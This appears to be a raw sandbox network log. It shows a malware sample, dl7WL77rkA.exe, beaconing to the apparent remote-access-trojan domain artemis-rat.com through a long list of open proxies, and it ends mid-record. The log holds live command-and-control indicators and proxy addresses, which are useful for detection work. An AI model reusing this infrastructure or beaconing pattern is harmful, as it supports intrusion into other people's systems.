Mar 11, 2024 03:30:51.592633963 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:55.202121973 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:58.905085087 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1442	192.168.2.5	52396	202.40.181.220	31247	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:44.401707888 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1443	192.168.2.5	52437	51.79.87.144	22500	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:44.402970076 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:47.423821926 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:50.468288898 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:56.509557009 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1444	192.168.2.5	52501	162.241.46.40	56241	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:44.403696060 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:47.405220032 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:50.405416965 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:56.499010086 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1445	192.168.2.5	53899	162.144.36.208	31683	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:44.408813000 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:44.905088902 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:45.499144077 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:46.593265057 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:48.889642954 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:51.201982021 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:53.405291080 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1446	192.168.2.5	53876	3.212.148.199	3128	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:44.411370039 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:44.630837917 CET	116	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 02:30:44 GMT Server: nginx Content-Type: text/plain Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1447	192.168.2.5	53958	104.20.205.191	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:44.414470911 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:44.569150925 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:44 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1448	192.168.2.5	53976	172.67.182.77	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:44.418654919 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:44.574489117 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:44 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1449	192.168.2.5	52521	209.222.97.30	15805	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:44.419058084 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:47.405220032 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:50.405416965 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:56.499010086 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1450	192.168.2.5	53973	104.25.244.70	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:44.419070959 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:44.575516939 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:44 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1451	192.168.2.5	53841	47.106.112.207	8081	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:44.422962904 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:44.768527985 CET	767	IN	HTTP/1.1 403 Forbidden Server: Beaver Cache-Control: no-cache Content-Type: text/html Content-Length: 635 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 6d 6c 3b 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 46 46 46 46 46 46 7d 3c 2f 73 74 79 6c 65 3e 20 0a 3c 74 69 74 6c 65 3e 4e 6f 6e 2d 63 6f 6d 70 6c 69 61 6e 63 65 20 49 43 50 20 46 69 6c 69 6e 67 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 63 72 69 70 74 20 6c 61 6e 67 75 61 67 65 3d 22 6a 61 76 61 73 63 72 69 70 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 20 20 20 20 20 20 20 20 20 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 20 3d 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 20 0a 20 20 20 20 20 20 20 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 6d 61 69 6e 46 72 61 6d 65 22 29 2e 73 72 63 3d 20 22 68 74 74 70 3a 2f 2f 62 61 74 69 74 2e 61 6c 69 79 75 6e 2e 63 6f 6d 2f 61 6c 77 77 2e 68 74 6d 6c 3f 69 64 3d 30 30 30 30 30 30 30 30 30 30 33 38 38 37 38 32 32 38 39 34 22 3b 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 3c 2f 73 63 72 69 70 74 3e 20 20 20 0a 3c 2f 68 65 61 64 3e 0a 20 20 3c 62 6f 64 79 3e 0a 20 20 20 20 3c 69 66 72 61 6d 65 20 73 74 79 6c 65 3d 22 77 69 64 74 68 3a 38 36 30 70 78 3b 20 68 65 69 67 68 74 3a 35 30 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 34 33 30 70 78 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 2d 32 35 30 70 78 3b 74 6f 70 3a 35 30 25 3b 6c 65 66 74 3a 35 30 25 3b 22 20 69 64 3d 22 6d 61 69 6e 46 72 61 6d 65 22 20 73 72 63 3d 22 22 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 22 30 22 20 73 63 72 6f 6c 6c 69 6e 67 3d 22 6e 6f 22 3e 3c 2f 69 66 72 61 6d 65 3e 0a 20 20 20 20 3c 2f 62 6f 64 79 3e 0a 20 20 20 20 20 20 3c 2f 68 74 6d 6c 3e 0a 0a Data Ascii: <html><head><meta http-equiv="Content-Type" content="textml;charset=UTF-8" /> <style>body{background-color:#FFFFFF}</style> <title>Non-compliance ICP Filing</title> <script language="javascript" type="text/javascript"> window.onload = function () { document.getElementById("mainFrame").src= "http://batit.aliyun.com/alww.html?id=00000000003887822894"; }</script> </head> <body> <iframe style="width:860px; height:500px;position:absolute;margin-left:-430px;margin-top:-250px;top:50%;left:50%;" id="mainFrame" src="" frameborder="0" scrolling="no"></iframe> </body> </html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1452	192.168.2.5	53992	104.22.1.113	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:44.423660040 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:44.579629898 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:44 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1453	192.168.2.5	53995	104.27.8.161	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:44.425493002 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:44.581568956 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:44 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1454	192.168.2.5	53849	36.92.81.181	4145	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:44.438836098 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:45.201951027 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:46.202653885 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:48.202137947 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:52.202111006 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:56.202127934 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:31:00.202330112 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1455	192.168.2.5	53847	111.90.150.109	1080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:44.441787004 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1456	192.168.2.5	52467	43.255.113.232	84	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:44.449866056 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:45.201950073 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:45.999383926 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:47.592911959 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:50.701945066 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:53.905141115 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:57.092612982 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:31:03.201911926 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1457	192.168.2.5	53928	38.162.20.138	3128	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:44.544246912 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:46.974198103 CET	111	IN	HTTP/1.1 407 Proxy Authentication Required Proxy-Authenticate: Basic realm="" Data Raw: 50 72 6f 78 79 20 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 20 52 65 71 75 69 72 65 64 Data Ascii: Proxy Authentication Required

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1458	192.168.2.5	53871	114.156.77.107	8080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:44.544702053 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:44.834003925 CET	1286	IN	HTTP/1.1 403 Forbidden Connection: close Content-Type: text/html Cache-Control: no-cache X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff Content-Length: 4872 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 38 3b 20 49 45 3d 45 44 47 45 22 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 